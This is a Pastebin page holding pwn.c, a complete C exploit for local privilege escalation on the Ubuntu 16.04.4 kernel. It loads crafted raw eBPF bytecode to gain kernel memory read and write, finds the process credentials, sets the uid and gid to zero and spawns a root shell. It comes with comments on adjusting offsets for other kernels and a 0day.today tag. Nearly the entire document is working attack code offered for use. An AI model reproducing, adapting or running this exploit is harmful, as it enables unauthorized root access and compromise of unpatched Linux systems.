Advertisement
Guest User

pwn.c

a guest
Feb 23rd, 2020
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.60 KB | None | 0 0
  1. /*
  2.  * Ubuntu 16.04.4 kernel priv esc
  3.  *
  4.  * all credits to @bleidl
  5.  * - vnik
  6.  */
  7.  
  8. // Tested on:
  9. // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
  10. // if different kernel adjust CRED offset + check kernel stack size
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <unistd.h>
  14. #include <errno.h>
  15. #include <fcntl.h>
  16. #include <string.h>
  17. #include <linux/bpf.h>
  18. #include <linux/unistd.h>
  19. #include <sys/mman.h>
  20. #include <sys/types.h>
  21. #include <sys/socket.h>
  22. #include <sys/un.h>
  23. #include <sys/stat.h>
  24. #include <stdint.h>
  25.  
  26. #define PHYS_OFFSET 0xffff880000000000
  27. #define CRED_OFFSET 0x5f8
  28. #define UID_OFFSET 4
  29. #define LOG_BUF_SIZE 65536
  30. #define PROGSIZE 328
  31.  
  32. int sockets[2];
  33. int mapfd, progfd;
  34.  
  35. char *__prog =  "\xb4\x09\x00\x00\xff\xff\xff\xff"
  36.         "\x55\x09\x02\x00\xff\xff\xff\xff"
  37.         "\xb7\x00\x00\x00\x00\x00\x00\x00"
  38.         "\x95\x00\x00\x00\x00\x00\x00\x00"
  39.         "\x18\x19\x00\x00\x03\x00\x00\x00"
  40.         "\x00\x00\x00\x00\x00\x00\x00\x00"
  41.         "\xbf\x91\x00\x00\x00\x00\x00\x00"
  42.         "\xbf\xa2\x00\x00\x00\x00\x00\x00"
  43.         "\x07\x02\x00\x00\xfc\xff\xff\xff"
  44.         "\x62\x0a\xfc\xff\x00\x00\x00\x00"
  45.         "\x85\x00\x00\x00\x01\x00\x00\x00"
  46.         "\x55\x00\x01\x00\x00\x00\x00\x00"
  47.         "\x95\x00\x00\x00\x00\x00\x00\x00"
  48.         "\x79\x06\x00\x00\x00\x00\x00\x00"
  49.         "\xbf\x91\x00\x00\x00\x00\x00\x00"
  50.         "\xbf\xa2\x00\x00\x00\x00\x00\x00"
  51.         "\x07\x02\x00\x00\xfc\xff\xff\xff"
  52.         "\x62\x0a\xfc\xff\x01\x00\x00\x00"
  53.         "\x85\x00\x00\x00\x01\x00\x00\x00"
  54.         "\x55\x00\x01\x00\x00\x00\x00\x00"
  55.         "\x95\x00\x00\x00\x00\x00\x00\x00"
  56.         "\x79\x07\x00\x00\x00\x00\x00\x00"
  57.         "\xbf\x91\x00\x00\x00\x00\x00\x00"
  58.         "\xbf\xa2\x00\x00\x00\x00\x00\x00"
  59.         "\x07\x02\x00\x00\xfc\xff\xff\xff"
  60.         "\x62\x0a\xfc\xff\x02\x00\x00\x00"
  61.         "\x85\x00\x00\x00\x01\x00\x00\x00"
  62.         "\x55\x00\x01\x00\x00\x00\x00\x00"
  63.         "\x95\x00\x00\x00\x00\x00\x00\x00"
  64.         "\x79\x08\x00\x00\x00\x00\x00\x00"
  65.         "\xbf\x02\x00\x00\x00\x00\x00\x00"
  66.         "\xb7\x00\x00\x00\x00\x00\x00\x00"
  67.         "\x55\x06\x03\x00\x00\x00\x00\x00"
  68.         "\x79\x73\x00\x00\x00\x00\x00\x00"
  69.         "\x7b\x32\x00\x00\x00\x00\x00\x00"
  70.         "\x95\x00\x00\x00\x00\x00\x00\x00"
  71.         "\x55\x06\x02\x00\x01\x00\x00\x00"
  72.         "\x7b\xa2\x00\x00\x00\x00\x00\x00"
  73.         "\x95\x00\x00\x00\x00\x00\x00\x00"
  74.         "\x7b\x87\x00\x00\x00\x00\x00\x00"
  75.         "\x95\x00\x00\x00\x00\x00\x00\x00";
  76.  
  77. char bpf_log_buf[LOG_BUF_SIZE];
  78.  
  79. static int bpf_prog_load(enum bpf_prog_type prog_type,
  80.           const struct bpf_insn *insns, int prog_len,
  81.           const char *license, int kern_version) {
  82.     union bpf_attr attr = {
  83.         .prog_type = prog_type,
  84.         .insns = (__u64)insns,
  85.         .insn_cnt = prog_len / sizeof(struct bpf_insn),
  86.         .license = (__u64)license,
  87.         .log_buf = (__u64)bpf_log_buf,
  88.         .log_size = LOG_BUF_SIZE,
  89.         .log_level = 1,
  90.     };
  91.  
  92.     attr.kern_version = kern_version;
  93.  
  94.     bpf_log_buf[0] = 0;
  95.  
  96.     return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
  97. }
  98.  
  99. static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
  100.            int max_entries) {
  101.     union bpf_attr attr = {
  102.         .map_type = map_type,
  103.         .key_size = key_size,
  104.         .value_size = value_size,
  105.         .max_entries = max_entries
  106.     };
  107.  
  108.     return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
  109. }
  110.  
  111. static int bpf_update_elem(uint64_t key, uint64_t value) {
  112.     union bpf_attr attr = {
  113.         .map_fd = mapfd,
  114.         .key = (__u64)&key,
  115.         .value = (__u64)&value,
  116.         .flags = 0,
  117.     };
  118.  
  119.     return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
  120. }
  121.  
  122. static int bpf_lookup_elem(void *key, void *value) {
  123.     union bpf_attr attr = {
  124.         .map_fd = mapfd,
  125.         .key = (__u64)key,
  126.         .value = (__u64)value,
  127.     };
  128.  
  129.     return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
  130. }
  131.  
  132. static void __exit(char *err) {
  133.     fprintf(stderr, "error: %s\n", err);
  134.     exit(-1);
  135. }
  136.  
  137. static void prep(void) {
  138.     mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
  139.     if (mapfd < 0)
  140.         __exit(strerror(errno));
  141.  
  142.     progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
  143.             (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
  144.  
  145.     if (progfd < 0)
  146.         __exit(strerror(errno));
  147.  
  148.     if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
  149.         __exit(strerror(errno));
  150.  
  151.     if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
  152.         __exit(strerror(errno));
  153. }
  154.  
  155. static void writemsg(void) {
  156.     char buffer[64];
  157.  
  158.     ssize_t n = write(sockets[0], buffer, sizeof(buffer));
  159.  
  160.     if (n < 0) {
  161.         perror("write");
  162.         return;
  163.     }
  164.     if (n != sizeof(buffer))
  165.         fprintf(stderr, "short write: %lu\n", n);
  166. }
  167.  
  168. #define __update_elem(a, b, c) \
  169.     bpf_update_elem(0, (a)); \
  170.     bpf_update_elem(1, (b)); \
  171.     bpf_update_elem(2, (c)); \
  172.     writemsg();
  173.  
  174. static uint64_t get_value(int key) {
  175.     uint64_t value;
  176.  
  177.     if (bpf_lookup_elem(&key, &value))
  178.         __exit(strerror(errno));
  179.  
  180.     return value;
  181. }
  182.  
  183. static uint64_t __get_fp(void) {
  184.     __update_elem(1, 0, 0);
  185.  
  186.     return get_value(2);
  187. }
  188.  
  189. static uint64_t __read(uint64_t addr) {
  190.     __update_elem(0, addr, 0);
  191.  
  192.     return get_value(2);
  193. }
  194.  
  195. static void __write(uint64_t addr, uint64_t val) {
  196.     __update_elem(2, addr, val);
  197. }
  198.  
  199. static uint64_t get_sp(uint64_t addr) {
  200.     return addr & ~(0x4000 - 1);
  201. }
  202.  
  203. static void pwn(void) {
  204.     uint64_t fp, sp, task_struct, credptr, uidptr;
  205.  
  206.     fp = __get_fp();
  207.     if (fp < PHYS_OFFSET)
  208.         __exit("bogus fp");
  209.      
  210.     sp = get_sp(fp);
  211.     if (sp < PHYS_OFFSET)
  212.         __exit("bogus sp");
  213.      
  214.     task_struct = __read(sp);
  215.  
  216.     if (task_struct < PHYS_OFFSET)
  217.         __exit("bogus task ptr");
  218.  
  219.     printf("task_struct = %lx\n", task_struct);
  220.  
  221.     credptr = __read(task_struct + CRED_OFFSET); // cred
  222.  
  223.     if (credptr < PHYS_OFFSET)
  224.         __exit("bogus cred ptr");
  225.  
  226.     uidptr = credptr + UID_OFFSET; // uid
  227.     if (uidptr < PHYS_OFFSET)
  228.         __exit("bogus uid ptr");
  229.  
  230.     printf("uidptr = %lx\n", uidptr);
  231.     __write(uidptr, 0); // set both uid and gid to 0
  232.  
  233.     if (getuid() == 0) {
  234.         printf("spawning root shell\n");
  235.         system("/bin/bash");
  236.         exit(0);
  237.     }
  238.  
  239.     __exit("not vulnerable?");
  240. }
  241.  
  242. int main(int argc, char **argv) {
  243.     prep();
  244.     pwn();
  245.  
  246.     return 0;
  247. }
  248.  
  249. #  0day.today [2018-03-28]  #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement